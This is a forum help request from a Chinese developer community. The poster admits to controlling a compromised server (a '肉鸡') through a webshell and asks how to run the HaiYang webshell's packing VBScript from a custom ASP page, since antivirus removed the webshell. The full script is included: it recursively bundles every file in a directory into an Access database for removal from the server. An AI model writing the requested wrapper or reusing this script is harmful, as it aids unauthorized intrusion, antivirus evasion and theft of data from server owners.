CNET中国旗舰网站

ZDNet China | CNET科技资讯网 | 政府采购 | 行业网站联盟





 
标题: [求助] 怎么样在asp中运行海阳顶端网的这个打包vbs?
小玩将
支柱会员
Rank: 10Rank: 10Rank: 10



UID 319552
精华 3
积分 13716
帖子 1345
威望 6222
ZD币 1804 元
阅读权限 210
注册 2008-4-16
状态 离线
  楼主
发表于 2008-4-23 13:32  资料  个人空间  短消息  加为好友 
开发者在线

怎么样在asp中运行海阳顶端网的这个打包vbs?

由于网上的asp空间少,所以找到了一台肉鸡来练习建网站,但是现在我想上传一个网站程序,由于我并没有得到3389而只是一个webshell,海阳顶端网里有一项打包功能,它的vbs是这样的.可不可以自己写一个简单的asp来让它在服务器上运行呢?(因为海阳被杀传上去用不了)   
  vbs内容如下.   
  Dim   n,   ws,   fsoX,   thePath   
   
  Set   ws   =   CreateObject("WScript.Shell")   
  Set   fsoX   =   CreateObject("Scripting.FileSystemObject")   
  thePath   =   ws.Exec("cmd   /c   cd").StdOut.ReadAll()   &   "\"   
   
  i   =   InStr(thePath,   Chr(13))   
  thePath   =   Left(thePath,   i   -   1)   
  n   =   len(thePath)   
  On   Error   Resume   Next   
  addToMdb(thePath)   
   
  Wscript.Echo   "当前目录已经打包完毕,根目录为当前目录"   
   
  Sub   addToMdb(thePath)   
  Dim   rs,   conn,   stream,   connStr   
  Set   rs   =   CreateObject("ADODB.RecordSet")   
  Set   stream   =   CreateObject("ADODB.Stream")   
  Set   conn   =   CreateObject("ADODB.Connection")   
  Set   adoCatalog   =   CreateObject("ADOX.Catalog")   
  connStr   =   "Provider=Microsoft.Jet.OLEDB.4.0;   Data   Source=Packet.mdb"   
   
  adoCatalog.Create   connStr   
  conn.Open   connStr   
  conn.Execute("Create   Table   FileData(Id   int   IDENTITY(0,1)   PRIMARY   KEY   CLUSTERED,   P   Text,   fileContent   Image)")   
   
  stream.Open   
  stream.Type   =   1   
  rs.Open   "FileData",   conn,   3,   3   
   
  fsoTreeForMdb   thePath,   rs,   stream   
   
  rs.Close   
  Conn.Close   
  stream.Close   
  Set   rs   =   Nothing   
  Set   conn   =   Nothing   
  Set   stream   =   Nothing   
  Set   adoCatalog   =   Nothing   
  End   Sub   
   
  Function   fsoTreeForMdb(thePath,   rs,   stream)   
  Dim   i,   item,   theFolder,   folders,   files   
   
  sysFileList   =   "$"   &   WScript.ScriptName   &   "$Packet.mdb$Packet.ldb$"   
  Set   theFolder   =   fsoX.GetFolder(thePath)   
  Set   files   =   theFolder.Files   
  Set   folders   =   theFolder.SubFolders   
   
  For   Each   item   In   folders   
  fsoTreeForMdb   item.Path,   rs,   stream   
  Next   
   
  For   Each   item   In   files   
  If   InStr(LCase(sysFileList),   "$"   &   LCase(item.Name)   &   "$")   <=   0   Then   
  rs.AddNew   
  rs("P")   =   Mid(item.Path,   n   +   2)   
  stream.LoadFromFile(item.Path)   
  rs("fileContent")   =   stream.Read()   
  rs.Update   
  End   If   
  Next   
   
  Set   files   =   Nothing   
  Set   folders   =   Nothing   
  Set   theFolder   =   Nothing   
  End   Function




顶部
热点频道推荐: C/S开发| 数据库| WEB开发| 嵌入式| 项目管理|
 



当前时区 GMT+8, 现在时间是 2009-1-10 11:37

  Powered by Discuz! 5.5.0 © 2001-2007 Comsenz Inc.
Processed in 0.080041 second(s), 3/3 queries

清除 Cookies - 联系我们 - ZDNetChina中文社区 - 无图版